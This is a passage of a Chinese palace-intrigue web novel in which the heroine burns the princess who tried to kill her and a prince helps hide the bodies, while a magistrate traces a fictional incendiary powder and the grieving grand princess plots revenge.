一名管事脚步踉跄地冲入看戏的水榭,脸色煞白。
“府外起大火了!就在西侧巷子那边,火头窜得老高,烟都漫过来了!”
朝华大长公主闻言眉头紧锁,眼中闪过一丝不悦。
她不耐烦地将手中的糕点丢回盘中,冷声道:
“慌什么,那群贱民不是已经搬走了么,不必费神去管。空置的瓦舍烧了就烧了。大过节的闹腾出这等晦气事来,真是烦人透顶!”
第144章 就要动心了
见大长公主不悦,管事不敢多言,急忙退下。
晏逐星守在原地,眼睁睁看着福安郡主被烧得惨叫声越来越小。
公主府灯火通明,却没有一个人出来查探。
晏逐星面无表情道:“李柔嘉,今夜你命该绝,可怨不得我。要怪就怪你公主府上上下下冷心冷肺,见死不救。”
但凡公主府今夜瞧见火光有人出来查探,也不至于让福安郡主被活活烧死。
晏逐星沿着屋顶纵身一跃,捡起地上的箭,准备将那个一箭穿喉的护卫拖过去一块烧了。
没想到身后忽然有人捂住了她的嘴。
“别叫,是我。”
晏逐星反手准备射出袖箭,就听到了熟悉的声音。
她扭头一看,真是谢翊宁。
“王爷?您怎么来了。”
晏逐星心下一紧。
谢翊宁什么时候来的,他看到她杀人的全过程了吗?
他会不会将她送给大长公主?
“你的手,痛不痛?”谢翊宁一句话就让她放下了戒备。
“还好。”晏逐星摇了摇头。
上辈子比这更重的伤她都受过,因而这点伤对她来说虽然痛,但不至于忍受不了。
起码她还活着。
还可以见到明天的太阳。
“你有计划为何不告知本王?”谢翊宁盯着她渗出血的胳膊,有些不高兴。
她这是一点也不把自己的命放心上。
他谢翊宁的救命恩人哪里需要这么拼命。
还是说,她信不过他?
这个猜测让谢翊宁心里有些发堵。
他将自己命格更改的事情都告诉她了,她还信不过他么?
况且,她自己把什么都做了,他还报什么恩,显得他好像很没用似的。
谢翊宁越想越郁闷。
“我……”晏逐星盯着他的眼眸,头皮有些发麻,仿佛回到了初入军营被霍将军训的时候。
她声音不自觉地就低了下去。
“这样肮脏的事情,王爷不该牵扯其中。”
“胡说八道。”谢翊宁伸手弹了她脑门一下。
“这怎么会是肮脏的事情,这明明是替天行道,为民除害。”
谢翊宁说得一本正经,眼里带着几分厌恶:“李柔嘉这样的畜生,活着也是浪费粮食。”
晏逐星赞同地点了点头。
随后她瞧见谢翊宁吩咐暗卫将马的尸体拖走,连同马车和护卫的尸体一块扔进了火里。
谢翊宁当面教学:“这才叫毁尸灭迹。”
晏逐星乖乖点头,受教了。
她人手不够,原本只打算把护卫拖过去烧掉,现在有谢翊宁的帮忙,把马儿和马车也烧了。
正正好。
“尸首数量对不上。还差了一个护卫,和一个车夫。”谢翊宁提醒。
“另一个护卫被九栀引走了,应该解决了。车夫也交给九栀了,她会斩草除根。”晏逐星沉声回答。
说完她垂下了眼眸,不敢看谢翊宁。
她怕他会对她失望。
按理来说,车夫不该被卷入其中。
可若是放过了他,他将今夜见到的事情说出去,很可能会害死她和九栀。
她只能把他也杀了。
“别怕,你做得很好。”谢翊宁猜到了她在想什么,语气温柔了几分。
“你若不杀车夫,他也活不了多久。朝华姑母也不会放过他。”
“要怪就怪李柔嘉。她若不干出这种丧心病狂的事情,今夜又怎会惹来报复,牵累无辜之人。”
“她命人纵火伤你之时,可没有考虑过那些百姓是否会死。”
晏逐星抬起头,眼睛变得格外的亮。
“王爷,您真是全天下最好最好的人了。您一定要长命百岁啊。”
她由衷地赞美。
“说好话也没用,赶紧随本王回王府,我让府中的府医替你包扎伤口。”谢翊宁板着脸训斥,但嘴角却只绷紧了一瞬就忍不住上扬。
她说他是全天下最好的人诶~
晏逐星本想拒绝说不用了,她回去自己包扎一下就好了。
但看到谢翊宁严肃的背影,这话又被她咽回了肚子里。
她有预感,她要是拒绝,王爷会很生气。
于是她老实地跟着他走了。
路上,晏逐星小心翼翼道:“对了王爷,能不能让人回一趟晏宅,我想确认一下九栀安全到家了么。”
谢翊宁招了招手,暗卫凑了过来。
他低声吩咐了几句,很快就回来了。
“放心吧,九栀已经到家了。”
“您怎么知道?”晏逐星有些好奇。
“本王先去了你家,衔蝉说你和九栀出门了。我一猜你就在公主府附近。先前没看到你们,便让暗卫先行按照九栀留下的踪迹去找人了,顺便抹除她留下的痕迹。”
“刚刚跟着她的暗卫回来了,说她已经从晏宅后门回去了。”
谢翊宁的话让晏逐星长长地舒了一口气,她正准备开口继续恳求他,就听到他抢先一步说出了她想听的话。
“放心吧,你去王府的事情我也让人去告知衔蝉了,他们会如常守夜,假装你还在屋子里的。”
这下晏逐星真不知道该说什么好了。
世界上怎么会有这么懂她的人。
“王爷考虑得真周到。”她小声嘀咕。
这么周到,这么体贴,若他不是永安王,她真的要动心了。
只可惜,他们身份悬殊。
这辈子都不会有以后。
她能当他的救命恩人,已经是十辈子修来的福分,不要太贪心,妄想独占他一人。
人啊,还是要知足。
“那是,本王出手,自然不会有任何错漏。”谢翊宁下巴微微抬起,眼眸里满是骄傲。
*
裴明镜还在审人。
只可惜,那两人虽是老弱妇孺,但嘴却硬得很,一句话都没有透露。
即便裴明镜动了刑,她们也只会大喊冤枉。
“大人,这两人不会真是冤枉的吧?”郑晗听着两人的惨叫,心脏扑通扑通狂跳。
“不可能。”裴明镜面无表情。
“那女人手上还残留着粉末,先前让人弄出来实验了,混合着油会自燃冒出鬼火。她绝不可能无辜。”
“这样的东西,绝非她一个普通人能弄到的。继续查。”
“是。”郑晗急忙应下。
不一会儿,另一个下属梁康毅又匆匆忙忙地跑了过来。
“大人,朝华大长公主有请。”
第145章 公主会发疯
“殿下寻我何事?”裴明镜睁开了紧闭的双眸。
“属下不知,但看着大长公主脸色很不好。”梁康毅摇了摇头。
裴明镜只得随他去见了朝华大长公主。
将人屏退,朝华大长公主沉着脸道:“不是说福安和你一块赏灯去了么,你怎么在这?”
“回殿下,戌时初我与郡主赏灯结束后便分开了。福安郡主没回公主府么?”裴明镜眉头微皱。
现在都已经快接近子时了,福安郡主不该还在外边晃荡呀。
朝华大长公主的收敛了眉眼中的焦躁,淡淡道:“自然是回了。只是本宫想问问,你为何在此忙碌不送福安回公主府。”
福安与裴明镜正在议亲,若此刻她失踪之事传开,日后窦淑容那个老婆子怕是会借此拿捏福安。
此事绝对不能外传。
“人命关天,百姓踩踏伤亡数十起,微臣身为京中父母官,自然得处理这些案子。”裴明镜不卑不亢地回答。
“案子要查,但未来若是成了福安的郡马,你可得对她多上点心。”朝华大长公主敲打完他便径直离开了。
裴明镜没有应下这话,一言不发,目送她离开。
等她走后,他当即叫来了自己的心腹。
“子平,你去查查,福安郡主可是出了什么事?”
他总觉得,朝华大长公主来这一趟并不简单。
“是。”子平应下,速速离去。
约莫过了半个时辰,子平就回来了。
“世子,福安郡主好像失踪了。”
“失踪了?怎么会?她身边的丫鬟、护卫和车夫呢?”裴明镜眉头紧锁。
“似乎也不见了。”子平摇了摇头。
“我只瞧见大长公主府的侍卫一直在打听福安郡主的下落。”
“属下跟着打听了一番,发现福安郡主与您分开后,还去了青龙街赏花灯,后来又去了一趟太白楼,她的丫鬟那会似乎被她斥责了,在太白楼罚跪。紧接着她又去金水河游了船。”
“上岸后,车夫与护卫护送她离开,而后就没了她的消息。”
裴明镜抿唇不语。
他总觉得福安郡主的失踪和今夜临仙楼门前这场混乱有关,但具体哪里有关,他也说不上来。
“无妨,先查那两人。那妇人手上的粉末已经有了头绪,应当是夜飞砂。此物绝非普通人能接触到的。”
夜飞砂乃是西戎国之物。
此物若撒于地,骤腾赤焰,夜中可照二十步。
但其烟含毒,嗅之令人头目晕眩,若溅脂膏,触之立燃,焰色青荧如鬼。
正符合今夜晏逐星斗篷忽然着火的迹象。
裴明镜决定先不关注福安郡主的事,还是查出谋害晏逐星的真凶更重要。
查不出来,他无颜去见她。
“是。”
一行人继续忙碌。
朝华大长公主等了一个时辰,依旧没等回来女儿,心急如焚。
“废物,一群废物,福安那么大一个人,公主府那么大一辆马车,还能丢了不成?”
骂完之后,瑟瑟发抖的汀兰被侍卫拎到了她面前。
“福安去了何处?你为何没跟着?”朝华大长公主咬牙切齿地看着她。
“奴婢不知啊。”汀兰连连磕头,脑袋都磕出了血印,但朝华大长公主依旧没有让她停下。
“奴婢不小心将茶水撒了惹得郡主不悦。郡主罚奴婢在太白楼的包间里跪着,直到她回来接奴婢为止。”
汀兰一边磕头,一边哭着把事情的来龙去脉说了一遍。
“胡说八道,福安怎是这样不知轻重的人。你可是她身边的大丫鬟,让你在外边罚跪,那是自打脸面。”朝华大长公主厉声呵斥。
“殿下,奴婢不敢撒谎啊。奴婢说的句句属实。”汀兰哭得嗓子都哑了。
若是平时,福安郡主或许不会当场就罚她。
但那会儿郡主刚刚知道派去截杀晏家小姐的人被扣了,晏家小姐死里逃生,正憋着一肚子的火呢。
她偏偏不争气,那会儿听到晏家小姐差点被烧死手一抖,洒了水这才触怒了郡主。
“郡主是听到了晏家小姐的消息,才会那么生气的……”
她哭着把福安郡主对付晏逐星的计划说了出来。
朝华大长公主没想到女儿这么沉不住气,竟然这么快就动手了。
“府中所有人,都给本宫去找福安。若是找不到她人,你们提头来见。”她冷冷下了命令。
公主府中的人全都动了起来。
他们沿着金水河到公主府的路线一寸寸排查。
最终在公主府西侧的巷道里,撞见了几具焦黑扭曲的尸骸和一具四蹄僵直地伸向天空的马形焦炭。
还有一辆被烧得只剩扭曲的乌黑骨架的马车。
浓烈的焦糊味混合着皮肉烧灼的恶臭扑面而来,在场的所有人瞬间如坠冰窟,一股寒意从脚底板直冲天灵盖。
他们的脑海里不约而同地升起了一个念头:
这恐怕就是失踪了的福安郡主的车驾。
他们硬着头皮回府跟朝华大长公主汇报了此事。
“不可能!绝不可能!福安怎么可能会出事!”
朝华大长公主死死抓住了椅子的扶手。
“谁敢对福安动手???”
下人们噤如寒蝉,一句话都不敢说,甚至连大气都不敢喘。
若福安郡主真的出事,恐怕朝华大长公主会发疯。
那可是她最疼爱的女儿。
“来人,扶本宫亲自前去,那绝不可能是福安!”
她咬紧了牙关,强撑着精神去了那条巷道。
看到那几具尸体,她几欲昏厥。
蜷缩在正中央的小小尸体上,一点刺目的猩红吸引了她的注意。
那抹猩红如同凝固的血珠摇摇欲坠地悬在焦黑的耳廓边缘。
朝华大长公主如遭雷击。
那正是今夜福安出门赏灯前,她亲自替她挑选的红玛瑙耳坠。
一瞬间,她想起了先前管事前来禀告公主府西侧着火一事。
难不成,那时候听到的正是福安被烈火焚烧发出的惨叫?
朝华大长公主当场就晕了过去。
第146章 找出真凶啊
朝华大长公主醒来时,已经是翌日清晨。
她睁开眼就看到了两眼通红的驸马。
“福安呢,可找到她了?让她来给本宫请安。”朝华大长公主死死捏住了驸马的手。
驸马哽咽着开口:“朝华,福安她没了……”
“住嘴!”朝华大长公主猛地抽回了自己的手。
“福安不过出门赏灯去了,怎就没了。”
朝华大长公主脑子里下意识地就浮起了昨夜的场景,她猛地摇头:“那尸体不对,只有四具。福安可是有四个护卫!”
“定然是那几个护卫死了,福安逃出生天了。速速命人去寻福安。她肯定吓坏了。”
驸马紧紧握住了她的手,眼泪无声落下。
他哽咽着开口:“朝华,已经确认了,那就是福安。另一个护卫和马夫的尸体,也已经找到了。”
朝华大长公主听到这话,如同遭到了当头一棒。
驸马的话彻底撕碎了她的侥幸。
不可能,怎么可能,她的福安昨日还欢欢喜喜地找她要新衣裳,怎么会就这样没了呢。
“朝华,振作一点,一定是有人故意害的福安。你要替她报仇啊!”
驸马的一句话让朝华大长公主重新振作了起来。
没错,她要做的不是悲伤而是查出真凶,还福安一个公道。
朝华大长公主双目赤红,额上青筋暴跳,一字一顿地道:“若让本宫查出是谁害的福安,定然要将她碎尸万段,已消本宫心头之恨。”
*
裴明镜还在查昨夜的案子,就看到郑晗脸色煞白地跑了进来。
“大人,又出事了。”
“何事?”裴明镜一夜未眠,眼底已经带了红血丝,此刻看起来有些疲惫。
“福安郡主死了。”郑晗额头上冒出了冷汗,“她的护卫和马夫也都死了。”
这个上元节可真邪门啊。
先是百姓踩踏死伤几十人,而后又是福安郡主和护卫马夫身亡。
这一桩桩一件件的,莫不是老天爷在示警?
郑晗决定回头不管什么节,都拘着家里人不让他们出门了。
“都死了?”裴明镜一脸凝重。
此事不对劲。
“怎么死的?”他追问。
“听说是被活活烧死的,可惨了。”郑晗压低声音回道,“据说昨日公主府管事发现着火了,但想着旁边没百姓住,便没管。结果竟然是福安郡主出事了。”
又是火烧。
裴明镜敏锐地抓住了这个重点。
他的直觉告诉他,昨夜晏逐星被火烧和福安郡主被烧死之事一定有什么关联。
只是究竟有什么关联,他一时间还想不明白。
沉默片刻后,他开口道:“重点查查夜飞砂与公主府。”
“大人,难道……”郑晗话说到一半自己捂住了嘴。
他不可置信地看着裴明镜。
难不成裴大人怀疑昨夜之事乃是公主府之人所为?
“让你查你就查,没有证据之事,不要多言。”裴明镜冷静地开口。
没过多久,窦淑容找到了京兆府来。
看到完好无损的裴明镜,她顿时长长地舒了一口气,双手合十口中念念有词:“谢天谢地,我儿平平安安。”
“母亲来此作甚?”裴明镜审案正疲惫,不想花精力去应付她。
窦淑容悄声道:“我听闻福安郡主出事了,朝华大长公主如今闹到宫中,让太后主持公道呢。”
她东张西望,见没有人进来,小心翼翼地询问。
“昨夜听闻你与她一块赏了花灯,此事不会与你有关吧?”
裴明镜沉下了脸。
“我与福安郡主偶遇后一同赏了灯,没过多久临仙楼出了事我就去查案了,根本不知道福安郡主什么时候出的事。”
窦淑容拍了拍胸口,放心多了。
“与你无关就好。”
见裴明镜脸色不好看,她讪讪道:“母亲这不是怕朝华大长公主迁怒你么。”
“我问心无愧,此事又与我无关,殿下没有理由迁怒我。母亲快回府吧。”裴明镜下了逐客令。
窦淑容满脸愁容地离开了。
好不容易挑了一个儿媳妇,结果还没正式交换八字和庚帖,人就没了。
这下可如何是好。
不过她又暗暗庆幸,还没有到那一步,否则恐怕会传出自家儿子克妻的谣言。
只是,接下来京城里哪还有与他们门当户对,又乖顺听话的贵女可以和儿子议亲呢。
窦淑容忧心忡忡。
没了福安郡主,儿子不会真要娶晏逐星吧。
想到这,窦淑容立刻急了,赶紧继续去翻自己搜罗的京城贵女名册,发誓一定要在上巳节前挑到一个满意的儿媳。
*
长乐宫里。
太后脸色也很不好看。
她没想到她当作心肝宝贝宠爱长大的外孙女,一夜之间竟然没了,而且死状还那样惨烈。
想到这,她的心就一阵抽痛。
她与朝华大长公主母女俩相顾无言,都默默垂泪。
文昭帝得知福安郡主身故,也很惊讶。
好端端的,怎么就死了。
因而太后命人请他去长乐宫时,他还是来了。
“皇上,你一定要给福安讨回公道啊。什么人竟然敢当街纵火行凶,杀死一个郡主?这是在公然挑衅皇家的威严,若是抓到定要严惩。”
不等朝华大长公主开口,太后就先咬牙切齿地催促文昭帝速速命人彻查此事。
“母后放心,朕已经命大理寺与刑部联手彻查此案。”文昭帝宽慰道。
朝华大长公主的额头重重叩在冰冷的金砖上,她哽咽着开口:“皇上,福安是我的命啊!她还那么年轻,竟遭此毒手……想到这,我真的不想活了……”
紧接着,她抬起头,哀哀地看着文昭帝:“皇上,福安叫了你十几年的舅舅,你一定要将真凶找出来啊。”
“皇姐放心,此事朕一定严查。”文昭帝命人将她搀扶了起来。
听完朝华大长公主将整件事的来龙去脉说清楚后,他忍不住询问道:“福安近来可有得罪什么人?”
若不是得罪了人,怎么会有人用这样残忍的法子将她给杀害。
他这话一出,太后和朝华大长公主下意识地就看向了他。
文昭帝一愣,而后脸色瞬间就沉了下去。
合着她们觉得此事是他儿子干的?
第147章 有事瞒着她
“你们觉得此事是永安所为?”文昭帝面沉似水。
太后和朝华大长公主急忙否认:“怎么会呢。”
她们又不是疯了。
若觉得此事是谢翊宁干的,偷偷摸摸让暗卫杀了他不就好了。
还光明正大地告到皇帝面前,那能讨得了什么好。
“福安之前是和永安有一些小小的误会,但两人总归是表兄妹,永安怎么会下这样的毒手。”朝华大长公主赶忙否认。
“你这意思,若他们不是表兄妹,永安就会下毒手了?”文昭帝斜睨了她一眼。
虽然福安的死让他也有些伤怀,但怀疑他的宝贝儿子,他可就不高兴。
朝华大长公主:“……”
果然事情不能牵扯到谢翊宁。
一涉及谢翊宁,皇帝就跟脑子被野兽吃了一样,无理由护着他。
她深吸一口气否认道:“本宫绝无此意。”
“嗯,永安的性子你们也是知道的,有仇他当场就报了。”文昭帝这才点了点头,提醒二人,“若他知道你们把福安的死怀疑到他头上,届时来找朕大吵大闹,朕可招架不住,只能让他来找你们了。”
朝华大长公主:“……”
太后:“……”
她们也想起了那日谢翊宁的猫被伤之后他的反应。
他直接就捅了福安胳膊一刀。
想到这,朝华大长公主就气得咬牙切齿。
虽然气,但她也知道皇帝说得对。
谢翊宁的性子报仇根本不会隔夜,他不会间隔那么多天才去报复福安。
而且他的猫还活着,他就更不会赶尽杀绝了。
文昭帝而后又问了些关于福安郡主的事情,但朝华大长公主隐瞒了她买凶杀人之事,便没有什么特别之事可言了。
见问不出什么东西来,文昭帝拂袖起身:“既然想不出福安与什么人结了仇,那便让大理寺和刑部慢慢查吧。”
“慢慢查?!”朝华大长公主听到这话,再也控制不住自己的情绪,扑上前扯住了皇帝的衣袖,“福安尸骨未寒,冤魂难散,你一句‘慢慢查’就要让她在九泉之下苦等到猴年马月吗?她死不瞑目啊!”
太后端坐凤座之上,面色沉凝如冰,她看着悲痛欲绝的女儿,厉声看向文昭帝:
“大理寺和刑部养着那么些人,难道是摆设不成?三日!哀家只给他们三日!哀家倒要看看,他们要让戕害皇嗣的真凶逍遥多久。”
文昭帝知晓她们心中悲痛,因而没有反驳:“母后,皇姐,节哀。朕一定会将真凶抓住,告慰福安在天之灵。”
说完他便离开了长乐宫。
文昭帝走后,朝华大长公主抹掉眼泪,愤愤起身。
“你们都退下吧,哀家有话要和朝华说。”太后屏退了众人。
朝华大长公主有些疑惑,母后要和她说什么。
“朝华,你实话同哀家说,福安是不是私底下做了什么?”太后一脸严肃。
先前听女儿和皇上闲谈,她发现了女儿的小动作。
女儿一撒谎的时候,就会不自觉地摩挲大拇指。
因而她认定,女儿肯定有什么事情瞒着自己。
朝华大长公主没想到母后虽然上了年纪,但依旧耳聪目明,竟然一下就发现了她有所隐瞒。
见她不语,太后便知道自己猜对了。
她板着脸道:“你必须跟哀家说实话,否则以后别来见哀家了。”
“母后,我说还不行么。”朝华大长公主赶忙将晏逐星的事情说了出来。
提起这事,她有些恼怒。
晏逐星一个商贾之女,女儿竟然自降身份去对付她,派出去的人还被裴明镜给扣留了。
好在联络那两人的下人已经灭口,此事断然不会查到福安头上了。
唯一值得庆幸的是,晏逐星也烧伤了,据说还烧得挺严重。
这样即便福安嫁不了裴明镜,晏逐星也休想嫁过去了。
“晏逐星?”太后觉得这个名字有些耳熟。
“是定远侯那个养女,还是烈国公的义女,上回冰嬉宴皇后还给了她恩典。”朝华大长公主赶忙将晏逐星的来历说了一遍。
“不,这些哀家都知晓。”太后摇了摇头,她想说的并不是这个。
“那母后想说的是……?”朝华大长公主有些疑惑。
“哀家想起来了,上回谢翊宁那个混账大闹长乐宫,那个姓晏的商贾之女好像也在!”太后终于把这事给记起来了。
“那只猫是谢翊宁给她照看的。后来走丢了,才让福安给捡着了。”
“既是如此,当时就该治那丫头的罪,怎么能怪到福安头上。”朝华大长公主顿时懊恼不已。
“你还是没明白哀家的意思。”太后浑浊的眼睛里猛地迸出一抹精光。
“福安不过是小小伤了谢翊宁的猫,就被他捅了一道刀。而弄丢他猫的那个商贾之女,他竟然没有任何惩戒?”
朝华大长公主被她这么一提醒,也察觉到了事情的古怪之处。
片刻后,她不可思议地看向了太后:“难不成,谢翊宁心仪她?”
太后没有点头也没有摇头,她只是紧紧抓住了朝华大长公主的手。
“谢翊宁与她关系密切,福安既然想烧死她,那谢翊宁会不会为了她烧死福安?”
朝华大长公主感觉自己的脑袋中的迷雾瞬间被一阵风给吹散了。
她一开始压根没把晏逐星当做杀害女儿的嫌疑人。
她的潜意识里就认为一个商贾之女掀不起什么风浪,因而根本没往她身上想。
如今太后这么一说,她忽然觉得很有可能。
谢翊宁为搏美人一笑,便烧死了女儿。
想到这,她怒火中烧,恨不得现在就去晏家把晏逐星给抓起来,也让她尝一遍女儿临终前所受的苦。
太后瞧见她眼中的癫狂之色,赶忙按住了她的肩膀:“如今没有任何证据,切莫轻举妄动。”
“没有证据,那我便给她造一个证据出来!”朝华大长公主几乎是把这句话嚼碎了吐出来。
就算不是晏逐星又如何。
福安想让她死,她就不该活在这世上。
第148章 给王爷当妾
定远侯昨夜得偿所愿,痛痛快快地睡了一觉。
今日清晨一大早便将管家叫来,让他去忠毅伯府邸送礼,提醒忠毅伯别忘了让他母亲帮他去国公府说媒。
忠毅伯接到定远侯送来的礼,只觉得烫手得很。
但昨夜已经当着那么多人的面应承了定远侯,他只得硬着头皮同母亲说了这事。
“你这蠢货,我怎么就生了你这么个蠢儿子!”忠毅伯府老夫人听完他说的话,气得瞪了他好几眼。
忠毅伯自知理亏,不敢反驳母亲,摸了摸鼻尖小声道:“母亲,您就帮帮鸿升兄吧,他也怪可怜的。”
“他用得着你可怜?”忠毅伯府老夫人气得狠狠拍了他背后一下。
“这摆明是他早就看上了烈国公府那位骆姑娘,拿你当筏子呢。什么孩子在天之灵给他指引的明路。我呸。”
“若定远侯那几个孩子能显灵,第一件事就是让他别娶后娘。”
忠毅伯被母亲训斥得如同鹌鹑一般老老实实地缩着,不敢吭声。
等到母亲骂得差不多了,他这才上前扮乖讨好,替她揉肩:“母亲,就这一回行不行。往后我再也不瞎答应这些事情了。”
“若两家真的能结亲,您也是做了一桩好事呀。”
忠毅伯府老夫人没好气地瞪了他一眼。
“行,我去,但可不保证人家会答应。”
“多谢母亲。”忠毅伯顿时露出了笑脸,“只要您去了我就跟鸿升兄有个交代了。”
忠毅伯府老夫人懒得搭理傻儿子。
正欲出门,就看到儿媳妇宁氏匆匆赶来。
“母亲,出事了。”
“出什么事了?”忠毅伯府老夫人心下一紧。
“昨夜临仙楼有人身上燃了鬼火被烧伤了,引起了骚乱,踩伤踩死了许多百姓。我听闻烧伤之人正是定远侯的养女。”宁氏快言快语把事情说了出来。
“什么?”忠毅伯瞪圆了眼睛。
定远侯的养女都出事了,他怎么还有心情让他母亲去说媒啊。
宁氏横了他一眼,随即又看向了婆母,小声道:“还有,福安郡主没了,据说是被活活烧死的。”
忠毅伯府老夫人顿觉事情不妙,她严肃着脸看向儿子:
“你先去瞧瞧定远侯,看看他的养女究竟是怎么一回事?烈国公府那边怎么说。”
“哦。”忠毅伯点了点头,见母亲和夫人同时瞪他。
他立刻道:“我马上就去。”
不一会儿,忠毅伯就出现在了定远侯府。
定远侯有些疑惑。
忠毅伯老夫人提亲这么快就有结果了么?
不曾想,忠毅伯给他带来了一个炸裂的消息。
“星儿身上燃了鬼火,身受重伤?”定远侯顿时急了。
如今他所有的希望都在晏逐星身上,她怎么能出事呢。
“速速备马,本侯要去探望星儿。”
管家听到命令,欲言又止。
“愣着做什么,没听到本侯的话么?”定远侯不悦地看着他。
管家只得硬着头皮开口:“小的不知大小姐如今住在何处……”
定远侯脸色一僵。
好嘛,他也不知道。
晏逐星是自己搬的家,他也没去过她的新宅子。
见忠毅伯盯着他,定远侯咬紧了后槽牙:“蠢货,大小姐住哪都不知道,你可有将大小姐放在心上?”
“本侯不是说了么。不管她是不是我的亲女儿,你们都要把她当成名正言顺的大小姐看待。”
“她搬出侯府至今,本侯已经给了千两白银,你竟然连她住哪都不知道?”
“是小的疏忽了,请侯爷责罚。”管家赶紧认错。
“扣你一个月俸禄,还不赶紧备马车。本侯亲自给你们指路!”定远侯赶忙将他赶了下去。
“是。”管家麻溜地退下。
“我御下不严,让望平兄见笑了。”定远侯叹了一口气,看向忠毅伯。
“呵呵呵呵。”忠毅伯干笑着不知怎么回答。
“烈国公夫人向来疼爱星儿,今日想必也会登门去探望她。或许也会带上骆姑娘,你说,我要不要借机与烈国公夫人表明心意呢?”定远侯看似询问,实则根本不给他回答的机会。
“不妥不妥,不如还是请老夫人替我走一趟吧。”
忠毅伯:“……”
说来说去,就还是得去提亲呗。
“望平兄,好姑娘可不等人。若有人捷足先登,我恐怕会懊悔终身啊。”定远侯重重捶胸,给自己捶得眼泪都飙出来了。
忠毅伯赶忙道:“好好好,我回去就同母亲说。鸿升兄莫要想不开啊。”
将忠毅伯送走后,定远侯忙派人去打听晏逐星如今究竟住哪。
好在没多久,他就查清了晏逐星的住所,他当即拎上补品去探望她。
“父亲怎么来了?”晏逐星得知定远侯来了,有些惊讶。
她可不认为定远侯有多在乎她。
“你受了伤,这么大的事,怎能不告诉父亲呢?”定远侯一副痛心疾首的表情。
“多谢父亲关心,父亲待我真好。”晏逐星假意感谢。
两人互相说了一些虚伪的客套话。
定远侯便打听起了宅子的来历。
得知是永安王借给她住的,定远侯看向她的眼神就愈发火热了。
看来星儿被永安王收为侍妾,那是迟早的事了。
至于永安王妃,他是不敢想的。
就算晏逐星是他的亲生女儿,怕是也够不着永安王妃的位置。
更遑论她如今是商贾之女的身份,能给永安王当侍妾已经是三世修来的福分了。
“星儿,永安王待你不同常人,你可要好好把握啊。”定远侯委婉暗示。
晏逐星听明白了他的言外之意,在心底冷笑。
她并未顺着他的话往下说,反而提起了另一件事。
第149章 京中的传闻
“父亲今日前来,怕是也听到了京中的传闻吧。”晏逐星幽幽地叹了一口气。
“什么传闻?”定远侯一愣。
晏逐星受伤的事情他还是听忠毅伯说的,如今京城在传什么,他还真不知道。
晏逐星缓缓道:“昨日有人在我的斗篷上动了手脚,差点要了我的命。”
定远侯点了点头,这事他知道啊。
“那火焰的颜色与寻常的不同,倒像是鬼火。如今京中有人在传我是邪祟,所以被烧才会冒出鬼火。温氏还有大哥、二哥还有二妹妹,都是被我克死的。”晏逐星说到最后,声音已然哽咽。
“一派胡言!”定远侯断然否认。
外人不知道,他还不知道么。
温氏是他逼死的,晏明远是想要弑父自作孽被烧死的,晏明修则是得罪了昭瑞亲王府被他们弄死的。
至于晏明月,那更是自己作死的。
原本有大好前程,非要胡作非为。
这与晏逐星有什么关系。
“那些都是无稽之谈,为父可不会相信!”
晏逐星掏出帕子,轻轻沾了沾眼角的泪:“我就知道父亲会信我。可王爷还有义母他们会不会信呢?”
她这么一说,定远侯便重新审视起她来。
是啊,若那些贵人们也觉得她是邪祟,克死了那么多人,别说庇护她了,不对她落井下石,敬而远之都算好的了。
“星儿莫要说这些丧气话,烈国公夫人待你向来极好,不会误会你的。”嘴上这么说着,但定远侯还是打算离开了。
“为父这就去彻查,看看是谁在外边胡乱造谣,你且等着啊。”
说完他便急匆匆地离开了。
如果晏逐星和烈国公府关系不能继续维系,那他得快点把骆文缨娶进门。
然后让骆文缨赶紧生下孩子,这样他就可以跟烈国公府牢牢地绑在一起了。
晏逐星看着他匆忙离去的背影,嗤笑一声。
“小姐,京中那些传言真的不用管么?”衔蝉忍不住开口。
“暂时不必管。”晏逐星摇了摇头。
她已经猜到了是大长公主府的人在背后散播这些谣言。
福安郡主死了,但她身边知根知底的人并没有死绝。
她想要杀她灭口的计划,肯定还有人知道。
朝华大长公主若是知道了,不管福安郡主是不是因为她而死,大长公主都会替女儿完成最后的心愿,杀了她。
“不过此事可以给裴大人透露一二,你就说我因为此事吃不下饭,睡不着觉,如今一心想寻死。”晏逐星眼珠子一转,想到了一个好主意。
裴明镜若是知道她这个受害人这么惨,按照他的性子,一定会抓紧时间破案的。
届时将福安郡主牵扯出来,朝华大长公主就没空来针对她了。
“啊?”衔蝉听到这话一愣,她想到自家小姐今日午膳用了两大碗饭。
吃不下?
睡不着?
这谎她怕是撒不好,还是让双鲤去吧。
双鲤爽快地接下任务。
不就是去裴大人面前演戏么,一回生二回熟,她擅长!
*
“大人,如今京中四处在传我家小姐是邪祟,呜呜呜,您一定要早日查到真凶,还我家小姐一个公道啊。”双鲤哭哭啼啼地来了京兆府。
裴明镜忙了一天一夜,如今还没着床又被双鲤给叫住了。
他这才知道京中已经传出了这样离谱的谣言。
裴明镜沉声道:“那不是鬼火,那是夜飞砂燃烧后的颜色。”
“可百姓们不像大人您这般见多识广,他们只会觉得我家小姐是鬼怪,呜呜呜呜,我家小姐本就受了伤,如今吃不下睡不着,这可如何是好呀。”双鲤哭得愈发大声了。
裴明镜听到这话,心中不由有些担忧,脱口而出:“可曾请了太医?”
“请了。可太医只能治手上的伤,不能治心里的病啊。”双鲤抽抽噎噎道,“我家小姐真是命苦。自小离开了爹娘,如今还被人污蔑,呜呜呜呜。老天爷啊,你就不能对我家小姐好一些么。”
路过京兆府的百姓们都忍不住驻足观望。
有那打抱不平的正义路人没认出没穿官服的裴明镜,厉声道:“你一个大男人,怎么还欺负小姑娘呢。”
“那是京兆尹大人,你不要命啦。”另一个人赶忙扯了他一把。
先前的正义路人有些尴尬地摸了摸鼻尖,正准备假装无事发生,就看到双鲤可怜巴巴地看着他,还是没忍住站出来仗义执言、
“京兆尹又如何,欺负小姑娘就是不对。”
双鲤走上前,大声道:“大叔,谢谢您。但裴大人是好官,他没欺负我,只是我家小姐身受重伤还被人污蔑,我想请裴大人快点查出真凶,还她清白。”
她这句话顿时引来了众人的好奇。
“你家小姐是谁呀?”
“被污蔑了什么呀?”
众人你一言我一语地问了起来。
这下裴明镜站了出来:“昨夜临仙楼被烧伤的姑娘便是她家小姐。”
他一说,在场的人都想起了昨夜的事。
“啊,是身上有鬼火的那个姑娘。”有人脱口而出。
“那不是鬼火,那是夜飞砂,来自西戎的一种秘物。”裴明镜冷静地开口解释。
“什么飞沙?”
“夜什么啥?”
百姓们并未接触过这玩意,乍一听都很陌生,你看看我,我看看你,十分茫然。
裴明镜朗声道:“诸位若有疑虑,不如今夜到京兆尹门口来,本官给诸位证明,晏大小姐昨夜身上烧伤乃是有人故意为之,而非什么鬼火。”
